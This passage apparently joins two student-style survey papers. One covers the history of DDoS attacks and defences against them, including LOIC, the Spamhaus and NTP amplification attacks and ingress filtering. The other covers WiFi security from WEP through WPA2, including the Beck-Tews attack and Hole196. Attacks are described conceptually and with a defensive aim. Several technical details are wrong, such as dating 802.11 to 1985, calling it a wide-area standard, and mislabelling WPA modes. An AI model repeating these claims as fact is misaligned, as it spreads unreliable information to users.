situation as Internet for the people in Estonia is important. It is 

used routinely for voting, filing of taxes and simple tasks such as 

shopping or paying for parking. This attack was considered as a 

cyberwarfare by many as Russia was suspected to be the 

perpetrator, motivated by political tension between the two 

countries. 

Though Estonia, with the help of authorities in other countries, 

 tried to filtered out malicious data sent by the attackers, they were 

unable to defend the whole of Estonia’ network completely. 

Important government briefing sites were tagged as higher priority 

for protection whereas other sites like that of the Estonian 

president, were sacrificed as low priorities. 

A 19 year old Estonian man of Russian descent was arrested as a 

suspect for assisting the organizing of attacks but then released 

later on. The attackers responsible for the attacks were not caught, 

and probably would never be. 

5. THE PRESENT 
After discovering the potential of the level of disruption DDoS 

attacks could cause, attackers have been even more active with 

this “tool” at their disposal, and organizations have been more 

wary of this threat than ever. 

5.1 Hactivism 
Hacktivism, a portmanteau of hack and activism, is the use of 

computers and any other IT system and network to disrupt 

services and bring attention to a political or social cause. The term 

was coined in 1996 by Omega, a member of the group of hackers 

known as Cult of the Dead Cow. The individual who performs an 

act of hacktivism is said to be a hacktivist. 

Whether hacktivism is a crime is still being debated. On the 

security perspective, there are two schools of thought: One 

considers hacktivists cybercriminals to be prosecuted, the other, 

despite being conscious of the menace they represent, maintains 

that they are anyway a voice to listen to. 

There are many tools in the arsenal of hacktivists, but the DDoS 

attack is one of their most often used because it is not only free 

(to them), it is also readily available and difficult to track and 

diffuse. 

5.1.1 Anonymous 
Neat labels elude those commentators who have sought to 

categorize Anonymous as an entity. With little consistency, 

commentators have referred to Anonymous as hackers, activists, 

vigilantes, a movement, etc. A website nominally associated with 

Anonymous describes it as “an internet gathering” with “a very 

loose and decentralized command structure that operates on ideas 

rather than directives”. 

Anonymous members are also known as Anons. 

5.1.1.1 Operation Chanology 
Anonymous first became associated with hacktivism in 2008 

following the incident when the Church of Scientology tried to 

suppress Internet media outlets’ publication of a notorious video 

of movie star Tom Cruise speaking fanatically and incoherently 

about the religion. 

Interpreting the Church of Scientology’s actions as attempted 

suppression of free speech on the Internet, Anonymous launched 

a campaign, Operation Chanology, against the Church as protest. 

While there were numerous activities held in the name of the 

campaign, notably, there was one which involved DoS attacks. 

Using a DoS tool jokingly named as Low Orbit Ion Cannon 

(LOIC), Anons simultaneously attacked web servers belonging to 
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the Church of Scientology. The LOIC works by flooding a 

specified target server with Transmission Control Protocol (TCP) 

or User Datagram Protocol (UDP) packets. 

 

Figure 5. User interface of LOIC which allows users to specify 

targets and select various attack options 

The LOIC does not hide itself or the attacker’s IP address; 

Attackers could be logged by the servers they attacked, and could 

be found and prosecuted if the server logs were handed to 

authorities. Unfortunately, many Anons never understood that 

they were doing something illegal and traceable, and this led to a 

number of arrests of less experienced Anons who failed to conceal 

their IP addresses. 

5.1.1.2 Operation Payback 
In 2010, numerous companies from the film industry hired Aiplex 

Softwares to launch DoS attacks on websites that did not respond 

to copyright infringement notices. One of such websites was the 

file-sharing website The Pirate Bay. 

In retaliation, Anonymous launched what is known as Operation 

Payback. Anonymous chose to use the same method, by using 

DoS attacks, to take down Aiplex and other associated 

organizations, hence the name. 

As in Operation Chanology, the LOIC was used. Of the various 

organizations that were attacked in the name of Operation 

Payback, Motion Picture Association of America (MPAA) was 

one of them to be taken offline. In the matter of a day, MPAA.org 

was knocked offline for a total of 21 hours and 49 minutes. 

 

Figure 6. Graphical representation of up- and downtimes of 

MPAA.org between 17th and 18th September 2010 

Through using DDoS attacks, Anonymous made sure its voice 

was heard. In this light, Luis Corrons of Panda Security has 

arguably accurately described the action as “the future of cyber 

protests”. 

5.1.2 Involvement in Attacks 
While many DoS attacks are launched through zombie computers 

of unknowing users, it is important to note that for hacktivists, 

attacks are initiated voluntarily. 

As in the case of Operation Chanology and Payback, the Anons 

knowingly downloaded and installed the LOIC tool to launch 

DoS attacks individually, but also simultaneously with other 

participants (which makes it a DDoS attack). 

On 23rd September 2010, the LOIC tool received a new feature 

called “Hive Mind”. In this mode, users relinquish control over 

the application after installation so that it can act as a botnet 

client, which can be controlled remotely from an Internet Relay 

Chat (IRC) channel. The creator aptly portrays it as a so-called 

“voluntary botnet”. It is also worth mentioning that LOIC is not 

the only voluntary botnet application that exists. 

5.2 Rolling Thunder 
Early in year 2014, the documents supplied to NBC news by 

Edward Snowden indicates that a division of the British 

Government Communication Headquarters (GCHQ) known as 

Joint Threat Research Intelligence Group (JTRIG) had executed 

an attack campaign to deter people from the hacktivists group 

such as Anonymous and LulzSec boards.  

The campaign, titled “Rolling Thunder”, succeeded in decreasing 

the number of users in Anonymous chat rooms by 80%. 

According to the documents, JTRIG infiltrated Anonymous’s 

Internet Relay Chats (IRCs) with the intention to 
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identify individual hackers who had obtained confidential data 

from websites. However, the element of surprise lies within the 

fact that DDoS is among the tactics used by the attack campaign. 

The released information has triggered debates on whether it is 

justified for the government to utilize DDoS attacks, even if it is 

against the hacktivists. In addition, NBC News quoted from cyber 

experts that DDoS attack against the servers hosting Anonymous 

IRCs could have affected other websites which are hosted by the 

same servers, and any other servers operated by the same ISP, 

regardless of their connection with Anonymous. GCHQ did not 

comment on the documents and mainly insisted that it has 

operated within the boundaries of British law. 

DDoS attacks have been prohibited by law in United Kingdom 

(UK) since year 2006. While perpetrators of DDoS attacks will be 

punished by the law when caught, it is unlikely for a government 

entity to face the same consequences for carrying out the same 

form of attack. 

5.3 Is your server sending DDoS attacks? 
The Internet is a network connecting many nodes. Throughout the 

years as companies and organisations saw an increased in DDoS 

attacks, many turned to security service providers, such as 

CloudFlare, in preparation for cyber attacks.  

5.3.1 Spamhaus 
Spamhaus is an international nonprofit organization founded in 

year 1998.The organization commits itself to tracking the 

Internet’s spam operation and sources, in hope to provide 

dependable real time anti-spam protection for Internet networks.  

In March 2013, Spamhaus was attacked by DDoS. When 

Spamhaus noticed the attacks, it seeked help from CloudFlare 

which quickly started mitigating the attacks. According to 

CloudFlare, the attacks flow in at approximately 10 Gbps and 

were generated mostly from open DNS recursors, i.e., DNS 

amplification attack. However, the attack escalated to 90 Gbps 

just after one day. Initially, there was nothing unusual about the 

attack but then the attackers changed their tactics when they 

realized that sending 100 Gbps of DDoS traffic was not enough to 

take down CloudFlare either. Instead of attacking Spamhaus 

directly, they begin to target the network providers that 

CloudFlare uses for bandwidth.  

There is a hierarchy in the network providers. CloudFlare’s 

network provider is known as Tier 2 providers. When 

CloudFlare’s direct peers got attacked, they quickly filtered the 

attack traffic at their edge. However, this means that the attack 

was pushed upstream to the direct peers of CloudFlare’s direct 

peers, mainly Tier 1 networks. Tier 1 providers do not purchase 

bandwidth from anyone. They are at the top of the hierarchy. 

CloudFlare was informed by one major Tier 1 provider that more 

than 300 Gbps of attack traffic was observed during this attack, 

making this attack one of the largest ever reported.  

As the attacks increased, congestion was observed across several 

major Tier 1 networks, primarily in Europe since the attacks were 

concentrated there. This attack incident was so serious that it 

received recognition as the DDoS that almost broke the Internet.  

5.3.2 400 Gbps is the New High 
It is as though the attackers are trying to prove the power of 

DDoS. Within a gap of 1 year, CloudFlare saw another wave of 

DDoS attacks which broke the record of Spamhaus’ incident in 

February 2014. In Spamhaus’ incident, it was estimated that 

30,956 open DNS resolvers were used to generate 300 Gbps 

DDoS. Using 1/7th of the number of vulnerable servers, the 

attacker was able to generate an attack what was 33 percent larger. 

The attacker used a different type of amplification attack 

technique which makes use of Network Time Protocol (NTP) 

servers. NTP is based on UDP and it is prone to amplification 

attacks because it will respond to a packet with spoofed source IP 

address and it contains a built-in command which sends a long 

reply to a short request. This command, known as monlist (or 

sometimes MON_GETLIST), is meant to be sent to an NTP 

server for monitoring purposes. Sending this command will 

generate a reply which contains up to the last 600 machines that 

the NTP server has interacted with. It is no surprise that with such 

high amplification factor, the attacks was able to exceed the 

previous record. 

Interestingly and even more ironically, a large French hosting 

provider OVH was not just one of the sources sending the attacks, 

but also the victim of the large scale NTP amplification attack at 

the same time. 

 

Figure 7. Pattern of a network graph when a server is 

participating in the NTP DDoS against CloudFlare 

CloudFlare did not reveal the target of this attack but they 

managed to mitigate this attack successfully. However this 

incident serves as another reminder to how powerful the DDoS 

can be. 

NTP is not even the server with the highest amplification factor. 

Attackers have begun to experiment with Simple Network 

Management Protocol (SNMP) by using it as a DDoS vector, and 

it has a theoretical 650x amplification factor.  

6. THE FUTURE 
From an extortion tool used by organized crime, to an instrument 

of war, and more recently to a protest tool by politically motivated 

hacktivists, DDoS attacks have evolved a lot over the last two 

decades in terms of its purpose and methods. It is not difficult to 

see that this is not the end of DDoS attacks, but just the 

beginning. 

6.1 An Ever-present Threat 
DDoS are an ever-present threat for many organizations across the 

globe. Possibly costing upwards of millions in lost revenue and 

more in reputational damage, these disruptive attacks can strike 

indiscriminately at any time with little-to-no warning. 
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DDoS technology is not new, but unlike the old days, the current 

toolsets which are widely available to attackers allow even 

inexperienced users to execute sophisticated attacks with ease. 

As the current threatscape continues to evolve, more and more 

complex blended attacks will be witnessed. Notwithstanding, 

enterprises and organizations should still do as much as they can 

to protect themselves. 

6.2 The Importance of Prevention 
DDoS is an attack which is likened to the use of a blunt blade; To 

bring down its opponent, the wielder must strike with force. 

While it can be effective to a certain extent in bringing down a 

targeted victim, it is after all a volumetric attack. Large amount of 

packets are sent in a DDoS attack, and all this data sending 

consumes a significantly large percentage of the network 

resources, which can result in the slowing down of the network. 

The term ‘network’ may sound small and insignificant in 

comparison to the term ‘Internet’. However, it should be kept in 

mind that the Internet is just another network of networks. 

In recent years, as the amount of DDoS attacks has increased 

(partly due to the increased activities of hacktivism), companies 

have started to recognize the importance of taking measures 

against such attacks. A loophole, such as a server with no defense 

whatsoever, is always an open invitation for attackers to carry out 

DDoS attacks. 

Unfortunately, there remains many systems in the Internet that are 

susceptible to DoS attacks. While data are usually not 

compromised, organizations and companies should still protect 

their systems so that they would not fall prey to DoS attacks, or 

even become an unconsenting aid to the attacks (as in the case of 

reflective DoS attacks). 

If there exists no form of prevention, the likelihood that a system 

will be brought offline in face of a DDoS attack is near definite. 

This can cost organizations large sums of money, as mentioned in 

earlier part of this paper, in the form of service level agreements, 

service interruptions, and credit protection for clients affected by 

the attack. 

7. MEASURES AGAINST DDOS 
There are many forms of measures which can be used against 

DDoS. This section will touch on some of the common preventive 

measures and techniques used in filtering out malicious data, as 

well as some of the projects that exists to create better defense 

line against DDoS.  

7.1 General Techniques 
7.1.1 Disabling Unused Services 
The main characteristic of DDoS is to flood the host with 

incoming data. Hence when there are less applications and open 

ports in the hosts, there will be less opportunities for the attackers 

to exploit vulnerabilities. Unused network services should also be 

disabled to prevent attacks.  

7.1.2 Disabling IP Broadcast 
Attacks which use intermediate broadcasting nodes such as ICMP 

flood attacks and Smurf attacks exploits IP broadcasting. Hence, 

to defense against this form of DDoS attack, the host computers 

and the neighbouring networks has to disable IP broadcasting.  

7.1.3 Firewalls 
Firewalls have simple rules such as to allow or deny protocols, 

ports or IP address. Although firewalls are unable to distinguish 

authentic traffic from DoS attack traffic, they can effectively 

prevent users from launching simple flooding attacks from 

machines behind the firewall. Many websites use their firewalls to 

block ICMP ping messages. 

7.2 Filtering Techniques 

7.2.1 Ingress/Egress Filtering 
Ingress filtering is a restrictive mechanism to drop traffic from IP 

addresses with non-matching domain prefix connected to the 

ingress router. Egress filtering is an outbound filter which ensures 

that only assigned IP address space leaves the network.  

To use this filtering technique, it is required to have the 

knowledge of the expected IP addresses at a particular port. A 

technique known as reverse path filtering can be utilized to build 

such knowledge. Generally, a router always knows which 

networks are reachable via any of its interfaces. By looking up the 

source address of the incoming traffic, it is possible to check if the 

return path to that address would flow out of the same interface at 

which the packet arrived upon. The packets will be dropped if the 

return path does not flow out of the same interface. However, 

majority of the Internet routes are asymmetric, hence this 

technique cannot operate as effectively in real networks.  

Using Ingress and Egress filtering helps to prevent IP spoofing. 

However it is limited as attacks with real IP addresses cannot be 

prevented. Spoofed IP addresses from within the subnet can go 

undetected as well. Ingress/Egress also requires global 

development in order to be successful. 

7.2.2  Router Based Filtering 
Router based filtering is an extension of ingress filtering. It uses 

route information to filter out spoofed IP packets. The filtering of 

spoofed IP packets is based on the principle which states that for 

each link in the core of the Internet, the set of source addresses 

from which traffic on the link could have originated from is 

limited. Thus, in a situation where an unexpected source address 

appears in an IP packet on a link, it would be assumed that the 

source address has been spoofed and the packet should be filtered 

out. 

The advantage of router based filtering is that it works well with 

static routing. Conversely, this filtering technique will not work 

well with dynamic routing. Another challenge for implementing 

this filtering technique is that it requires wide implementation in 

order to be effective, i.e., the technique should be implemented 

across all the routers in the system in order for the prevention to 

be effective.  

7.2.3 History Based IP Filtering 
As one can infer from its name, it is possible to filter packets 

based on the history of the IP addresses of past incoming traffic. 

The set of source IP addresses that is seen during normal 

operation tends to be stable and does not usually vary. In a DDoS 

attack, most of the source IP addresses would not belong to that 

set of IP addresses.This filtering technique can be implemented 

using an IP address database (IAD), which will keep track of 

frequent source IP addresses. 
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This technique does not require cooperation of the whole Internet 

community, hence making it robust. When the network is under 

attack or is congested, history based filtering will give priority to 

the frequent packets. However, similar to Ingress/Egress filtering, 

it is ineffective when the attacks come from real IP addresses. 

Furthermore, this technique relies heavily on the collected 

information and the offline database required to keep track of IP 

addresses can be costly. 

7.3 Projects 
7.3.1 Open Resolver Project 
Open Resolvers pose a significant threat in the Internet 

infrastructure as the servers will answer recursive queries for 

hosts outside of its network domain. They are most commonly 

utilized in DNS Amplification attacks. Open Resolver Project 

helps to identify such open resolvers and advise the operators to 

 take preventive measures.  

7.3.2 Open NTP Project 
Similar to Open Resolver Project, Open NTP Project is another 

project which tries to identify NTP Servers and advise the 

operators to disable certain commands to the servers, such as 

monlist.  

7.3.3 Project Shield 
Project Shield is an initiative taken by Google to offer smaller 

entities better website protection against DDoS attacks by having 

their content served through the company’s DDoS mitigation 

infrastructure. The company plans to offer protection to websites 

serving news, human rights or elections-related content for free. 

The project is still in the early stage. Nevertheless, it is a stepping 

stone towards offering protection for websites that do not have the 

resources to build up the necessary defense for themselves. 

8. CONCLUSION 
DDoS attacks are not just part of the history. They are probably 

happening right now, against an infrastructure which is part of the 

Internet.  

Defending against organized crime to cyberwarfare and more, the 

Internet has braved through the attacks and became stronger. 

However, DDoS has also evolved and grew to be more malicious. 

To keep up with the pace and to protect against DDoS attacks, it 

is crucial to take proper measures. 

Now that there is Google who has taken the initiative to provide 

help for the smaller companies, it is likely that more companies 

will also step out and offer a protecting shield. While DDoS 

seems completely impossible to eliminate, organizations can join 

forces, and together, implement a strong and effective defense.  
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ABSTRACT 
In this paper, we introduce WiFi technology and the growing 
popularity of wireless networks, explore the history of WiFi 
security protocols, the insecurities of Wired Equivalent Privacy 
(WEP) that led to the birth of WiFi Protected Access (WPA), and 
the security of home WiFi routers. We then explain what WPA is, 
along with its limitations and shortcomings that eventually led to 
the creation of WPA2. Human-introduced vulnerabilities of home 
routers are also discussed, and this is followed up with a few case 
studies of modern WiFi router attacks, which showcase the 
strengths as well as the weaknesses of WPA in comparison with 
the previous security protocols such as WEP. Lastly, we 
summarize the main factors which cause the vulnerabilities and 
offer some suggestions which may improve the security of home 
routers.   
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1. INTRODUCTION 
1.1 The Start of WiFi 
WiFi technology first came around in 1985, when the 802.11 
standards were introduced by the Institute of Electrical and 
Electronics Engineers (IEEE) LAN/MAN Standards Committee. 
The IEEE 802.11 governs the specifications for implementing 
wireless networks for wide areas (Also known as Wide Area 
Networks, WAN), in the 2.4, 3.6, 5 and 60 GHz frequency bands. 
Wired Equivalency Protocol (WEP) was introduced as part of the 
802.11 standard with a goal to achieve user data confidentiality 
over wireless networks. WiFi technology is extremely prevalent 
today, but this prevalence coupled with easily breakable security 

protocols such as WEP has brought about an onslaught of 
malicious attacks upon its users. 

1.2 Where Did WEP Go Wrong? 
Wired Equivalency Protocol (WEP), which follows the 802.11 
standard implemented by the IEEE, was developed without taking 
into consideration that wireless technology could be abused by 
users with malicious intent. Many networks were set up with 
default network identification, lack of proper data encryption and 
an open access list. The fact that data propagate into the air, 
without any physical barriers, give malicious users the ability to 
gain unauthorized access to private data and network without 
much hassle. With open access lists, networks could not restrict 
their accessibility from unknown users. In fact, some client 
software was configured to connect to the first wireless network it 
can find, once set-up right out of the box. Anyone could access a 
network without permission, and gain access to vital data within 
that network with ease, making wireless technology more of a 
threat rather than a benefit for both business and home users. 

In realization of the insecurities in this technology, the WiFi 
Alliance developed a set of specifications with the aim to provide 
robust security to home and enterprise networks. This was 
classified as a subset of the original IEEE 802.11 standard; thus 
the IEEE 802.11i standard was born. 

1.3 The Brief History of IEEE 802.11i and 
WPA 
As WEP vulnerabilities were becoming more and more apparent, 
the WiFi Alliance responded by replacing the flawed WEP with 
WPA. WPA was intended to be a temporary measure in place of 
WEP as soon as possible while the full specifications of the IEEE 
802.11i standard was being decided on. As such, WPA is often 
referred to as the draft IEEE 802.11i standard. 
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WPA was released in 2003, 1 year before WEP was officially 
retired, and has since made significant changes to wireless 
networking 

2. IMPROVEMENTS MADE IN WPA 
The WPA Protocol, despite being released before the full IEEE 
802.11i standard was ready, implemented much of the said 
standard. The features of WPA which comes from the Temporal 
Key Integrity Protocol focused on correcting the flaws of WEP. 

2.1 Temporal Key Integrity Protocol (TKIP) 
One of the flaws of WEP was that all keys used for encryption 
were static, and there was no way to dynamically change the 
keys. Network users could be using the same key over and over 
again as they communicate with each other wirelessly, and this 
provides malicious users plenty of time to observe the network 
and attempt to crack the key. It was proven that a 128-bit static 
WEP key could be cracked in less than 24 hours [1].  

This is where TKIP comes in. TKIP employs a per-packet system, 
such that fresh 128-bit encryption keys are dynamically generated 
for every packet sent, discouraging attackers from attempting to 
crack them when they intercept the encrypted messages. 

2.2 A Longer Initialization Vector (IV) 
Another problem WEP faces is that it uses a short IV, also known 
as a nonce. This 24-bit worth of data is randomly generated by the 
wireless protocol for each packet sent, and is concatenated with a 
shared secret key to produce what is known as a Key Schedule. 
By using a randomly generated value, the IV masks the shared 
secret key to discourage attackers from attempting to crack the 
secret key. 

Using only 24-bits for its IV, it does not take long before WEP 
uses the same IV again for another message, especially in a busy 
network. Consequently, encrypted data frames look very similar, 
and an attacker could collect such frames in attempt to extract the 
key from its IV.    

TKIP makes keys harder to extract by extending its IV to 48-bits, 
making the odds of producing the same IV value lower, as the 
odds are 1 out of 2.81*10^14 for TKIP as compared to 1 out of 
16777216 for WEP, more than 10^-7 times smaller. The IV also 
now serves as a sequence counter, to prevent malicious users from 
performing replay attacks. This meant that fragmented packets 
that arrived out of order could be dropped due to suspicion of an 
attack.  

In addition to a longer IV, TKIP changes how the IV is 
implemented to produce the Key Schedule. Unlike WEP, where 
the IV is simply concatenated to the shared secret key, TKIP uses 
a key mixing function to combine the IV and shared secret key. 
This idea avoids most of WEP's key-related attacks, as the shared 
secret key is harder to retrieve. 

2.3 A Shot at Preserving Integrity, Michael 
WEP uses a Cyclic Redundancy Check (CRC-32) for error-
checking and the validity of the messages. In the CRC-32, bits of 
the original message are padded with zeros, and then XORed with 
a selected constant number of bits repeatedly until no quotient 
remains. However, this does not provide integrity as both the 
message and CRC value can be modified without the need to 
know what the encryption key was. CRC-32 is a linear, unkeyed 
(No keys used) function, which means the bits in the message 

share a deterministic relationship with those in the CRC value. 
Just by flipping the bits in the original message, it is easy to find 
out which bits in the CRC are related to those modified bits. 
Likewise, flipping the bits in an encrypted message encrypted by 
RC4 will flip the corresponding bits in the decrypted plaintext. As 
such, an attacker could modify the original message and flip the 
corresponding flipped bits in the encrypted packet to ensure that 
the CRC will pass when the modified message is sent to the 
victim, thereby compromising the integrity of a message. 

In an attempt to establish a stronger message integrity check 
algorithm, without the need for extensive computation, TKIP uses 
the algorithm known as Michael, designed by Niels Ferguson, and 
built upon WEP’s CRC-32 mechanism  

Michael is an algorithm which generates an 8-byte Message 
Integrity Code (MIC) from the message's content with a general 
key. The establishment of a key needed to access the message 
makes it harder for attackers to forge or modify the message's 
contents undetected.  

MIC consists of 3 parts: an authentication key shared between the 
sender and receiver, a tagging function and a verification 
predicate. The 8-byte (64-bit) key is divided into 2 sub-keys of 32 
bits each. Before undergoing encryption, the message is padded 
with the hexadecimal value 0x5a, followed by a number of zeros 
until the message reaches a length which is a multiple of 32. The 
message is then separated into portions of 32-bits, where each 
portion runs through the tagging function which adds, rotates and 
performs bit-swapping depending on the sub-keys, and the 
resulting "hash-like" Integrity Code is appended to the back of the 
message (See Figure 1). 

2.4 Possible Vulnerabilities of WPA (TKIP) 
Due to the significant changes which were to be made in wireless 
security, it was a challenge to implement WPA onto the existing 
hardware which supported WEP. As a result, TKIP, the core 
component of WPA, had to be designed to ensure that WEP-
enabled devices could run WPA. This in turn, caused TKIP to be 
exploited through vulnerabilities from the elements of WEP 
systems. 

One such vulnerability, as acknowledged by Cisco [2], is the TKIP 
Encryption Weakness. Although not many details were provided 
regarding this vulnerability, it is known that attackers can decrypt 
packets under specific conditions. The vulnerability allows the 
attacker to retrieve the key used to authenticate packets, allowing 
intercepted packets to be forged. However, the attacker can only 
forge one packet at a time, and he/she has only up to 7 attempts to 
forge it.  

Another well-known attack on WPA using TKIP is the Beck-
Tews Attack. 

2.4.1 Beck-Tews Attack 
In 8 November 2008, Martin Beck and Erik Tews released a paper 
about a possible way to attack TKIP. This attack takes advantage 
of the fact that TKIP’s Michael uses WEP’s CRC-32 mechanism, 

Figure 1. A typical Ethernet frame, with the Message 
Integrity Code (MIC) appended 
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and that Address Resolution Protocol (ARP) packets are general 
similar in size, making them more identifiable compared to other 
packets. 

This attack is extended from another well-known attack, known as 
the Chop-chop attack for WEP. The original attack involved the 
attacker guessing what each byte of a packet represents, then 
modifying them, and finally using the wireless access point to 
confirm if the guess was correct.  

However, in TKIP, Michael has a security measure that detects 
whenever 2 invalid MIC codes were received between close 
intervals of 60 seconds, it will rekey the current TKIP session 
key, affecting the future packets sending through the keystream. 
Although this limits the attack 1 guess every 60 seconds, the 
attacker only needs to target small ARP packets (generally about 
14 bytes-large), making it possible to guess most of the packet 
within a matter of at most a few hours, if not minutes; Beck and 
Tews estimate that 12 bytes could be guessed within 12 minutes. 

After a successful deciphering of a packet, the attacker would 
have the knowledge of the keystream’s MIC key. With this key, 
the attacker could create packets and inject them into the 
keystream. However, WPA’s anti-replay-attack mechanism 
(derived from the IV) would slow down the attack. If the network 
uses the Quality of Service (QoS) mechanism in WPA which 
opens more channels to allow special transport of data with 
special requirements, the attacker would gain more opportunities 
to inject self-created packets to the victim, enabling attacks such 
as ARP poisoning and denial-of-service.  

While most home networks do not implement QoS, the Beck-
Tews attack is still viable against a home network running the 
WPA security protocol, which further encouraged the 
development of the successor of WPA, WPA2. 

3. WHAT IS WPA2? 
3.1 History of WPA2 
WiFi Protected Access II, also known as WPA2 or 802.11i, is a 
WiFi security protocol that has officially superseded WPA since 
2006. WPA2 is the full implementation of 802.11i whereas WPA 
only implements a subset of the specifications of 802.11i. 

3.2 Technologies used in WPA2 in 
Comparison with WPA 
WPA2 is a much more secure WiFi security protocol as compared 
to WPA. The main difference between WPA and WPA2 is that 
WPA uses TKIP whereas WPA2 uses the Counter Mode Cipher 
Block Chaining Message Authentication Code Protocol (CCMP). 
The encryption used in CCMP is based on the Advanced 
Encryption Standard (commonly known as AES) block cipher, 
which makes attacks on it much harder than those on WPA which 
uses the vulnerable TKIP. 

3.3 How WPA2 Works 
Firstly, WPA2 generates a Pre-shared key (PSK) which is a 256 
bit key from a passphrase.  PSK is known to both the client and 
the access point.  Using the PSK, a Pairwise Master-key (PMK) is 
generated. PMK is a key that is freshly generated for every 
session between the client and the access point and like the PSK, 
it is known to both the client and the access point. PMK along 
with the AP nonce (a random value generated by the access 
point), STA nonce (a random value generated by the client), the 

MAC address of the access point as well as the MAC address of 
the client is then used via a 4-way handshake to generate the 64-
byte Pairwise Transient Key (PTK).  The basic steps of the 4-way 
handshake are as follows (See Figure 2). 1) The access point 
sends the AP nonce to the client. 2) The client then generates the 
PTK. 3) The client sends a STA nonce and a Message 
Authentication Code to the access point. 4) The access point then 
generates the PTK. 

The PTK is then used to obtain 5 different keys, known as the Key 
Confirmation Key, Key Encryption Key, Temporal Key, Michael 
MIC Authenticator Rx Key as well as the Michael MIC 
Authenticator Tx Key. 

The keys are then used to encrypt data sent between the client and 
the access point until the session ends. 

3.4 WPA-Personal vs. WPA-Enterprise 
The above section depicts the general procedure for WPA-
Personal. However, there is also another commonly known 
variant of WPA-Personal termed as WPA-Enterprise. As their 
names suggest, WPA-Personal is mostly for personal or home-
based users whereas WPA-Enterprise is used mainly by 
companies or corporations. What sets the two apart is their 
authentication procedure; WPA-Personal uses PSK for the 
authentication procedure whereas WPA-Enterprise uses a Remote 
Authentication Dial In User Service (commonly known as 
RADIUS) server for authentication purposes. This implies that in 
order to utilize WPA-Enterprise, each user needs to have a unique 
username-password pair in order to authenticate with the 
RADIUS server. This is radically different from WPA-Personal 
which only requires users to have knowledge of the pre-shared 
key before they start to use the WiFi network. 

As can be deduced from their authentication methods, WPA-
Enterprise is generally more secured than WPA-Personal. This is 
because each user of WPA-Enterprise needs to know both the 
username and password of the RADIUS server before network 
access is granted, whereas for WPA-Personal, the user only needs 
to know a pre-shared key shared among all its users.  Moreover, 
the pre-shared key is stored locally in the computer, and if a 
malicious user is able to retrieve this key from any of those 

Figure 2. 4-way handshake for generating a Pairwise 
Transient Key (PTK), obtained from: 

http://en.wikipedia.org/wiki/File:4-way-handshake.svg 
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computers, he then gains access to the network. In contrast, WPA-
Enterprise requires the user to provide valid credentials which are 
not stored in the computer and therefore harder for a malicious 
user to obtain; a malicious user has a harder time in gaining 
network access. Even if the malicious user is able to obtain valid 
credentials, it is an easy task for the administrator to remove the 
vulnerable account from the RADIUS server as compared to the 
case for WPA-Personal where the password for every computer 
needs to be reset in order for them to connect to the network if the 
pre-shared key is changed. 

It can be seen that WPA-Enterprise is more secure than WPA-
Personal, however it must be noted that in order for one to use 
WPA-Enterprise, he needs to deploy a RADIUS server which 
requires a much more complicated set-up and hence, it is more 
practical for home users to use WPA-Personal as compared to 
WPA-Enterprise. 

3.5 Vulnerabilities in WPA2 
Although WPA2 is more secure than WPA, it is not insusceptible 
to attacks. In fact, WPA2 is more susceptible to an “insider 
attack”, which happens when the pre-shared key is leaked by an 
insider, thereby granting access to a malicious user, or when an 
insider is the malicious user. This attack can occur for both WPA-
Personal and WPA-Enterprise. In the case of WPA-Enterprise, it 
is illustrated in the case of “Hole196” which will be explained in 
further detail below.  

3.5.1 Hole196 
One of the security vulnerabilities of WPA2 that has been 
discovered is called “Hole196”. This security vulnerability occurs 
when there is a malicious authorized user inside the secured 
WPA2 network. Basically, the malicious insider is able to inject 
packets that are addressed to the group by encrypting it with the 
Group Temporal Key and by acting as the access point. This 
effectively allows the malicious insider to perform attacks such as 
Address Resolution Protocol (ARP) poisoning or to decrypt 
packets sent by other authorized users in the network. 

Similar to most systems, WPA2 is rendered less secure because of 
human introduced vulnerabilities which will be explored in the 
next section. 

4. HUMAN INTRODUCED 
VULNERABILITIES 
As mentioned previously, the improvement of protocols from 
WEP to WPA to WPA2 has increased the security level of home 
routers. However, despite equipping routers with stronger security 
protocols, there are several human-related factors which would 
undermine even the more robust protocols like WPA2 and 
compromise router security. 

4.1 Router Configuration 
As the network security protocols are getting more complex 
nowadays, router manufacturers often include setup wizards in 
their routers’ firmware, and many Internet Service Providers 
(ISPs) almost always provide nothing less than a fully-configured 
router to their customers upon purchase. 

The main reason of these services is to facilitate the complex 
steps of setting up a secure network and at the same time to 
ensure that their routers are equipped with reasonable security. 

Nonetheless, there are some loopholes created under this scheme 
which allow attackers to crack into the router’s network easily. 

4.2 Service Set Identification (SSID) 
A router broadcasts its network name (SSID) into open air at 
regular intervals. The purpose of broadcasting a SSID is to allow 
clients to dynamically discover and roam between different 
wireless networks. Since SSID broadcasting is not encrypted, this 
feature will allow an attacker to locate its target router easily [3]. 
In cases where a router is configured using a built-in setup wizard 
or is pre-configured by the ISP, the configuration is often so that 
the router broadcasts its SSID such that its users would be able to 
connect to it without hassle. 

As such, disabling SSID broadcast would improve network 
security as it would make it harder for an attacker to detect routers 
which are not broadcasting their SSID. However, the SSIDs can 
still be sniffed from wireless network traffic and therefore this 
does not completely keep attackers away, but it does reduce the 
risk of being attacked by ‘hiding’, and thereby diverting the 
attackers to other targets. One main types of attacker which this 
technique could possibly keep away are the “Script Kiddies”, who 
are non-experts who use pre-packaged automated tools written by 
others to break into a system, and the “Neophytes”, who are 
newbies to hacking or who have close to no knowledge or 
experience of the working hacking technology.  

While it is more secure to configure the router to stop its SSID 
broadcasting, it is also more inconvenient for a user to connect to 
the router. Most of the built-in WiFi scanning features on modern 
devices do not show non-broadcasting SSID by default. 
Therefore, the router’s SSID would have to be manually entered 
and the connection between the router and the user’s device 
configured, which may require technical knowledge about 
network security that is something most users of home routers do 
not have. Although the configuration is stored in the user’s device 
upon its first connection with the router so that every device only 
needs to be configured once, this technique remains inconvenient 
to home router owners who wish to share their WiFi connection 
with multiple users and devices, and so most home routers do 
broadcast their SSID. 

4.3 Password 
Password is one of the key factors which directly affect security 
the most. To select a strong password, it has to be easy for human 
to remember but difficult for computers to guess [4]. This is also 
known as a mnemonic password. The following are several 
possible factors that lead to a weak password [5] [6]: 

4.3.1 Short Passwords 
The length of a password affects directly to the process of brute-
force password cracking. When a longer password is chosen, the 
password cracking process would take up more time as the 
number of possible password combinations increases 
exponentially. 

4.3.2 Characters Repetition, Dictionary Words, or 
Personal Information Relevant Password 
People often form their passwords based on the important 
information, such as birthday, phone number, family members’ 
names, or character or digit repetition in order to memorize them 
easily. Moreover, most of this important information can also be 
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found in the dictionary which would mean a shorter range of 
possible passwords to try out in a brute-force attack.   

4.3.3 Non-random Passwords 
A randomly generated password is a password that does not have 
any recognizable pattern in it. Such a password costs requires the 
cracking process to test out every single possible password 
combination. In contrast, passwords that are not generated at 
random would be exposed to password pattern attacks. 

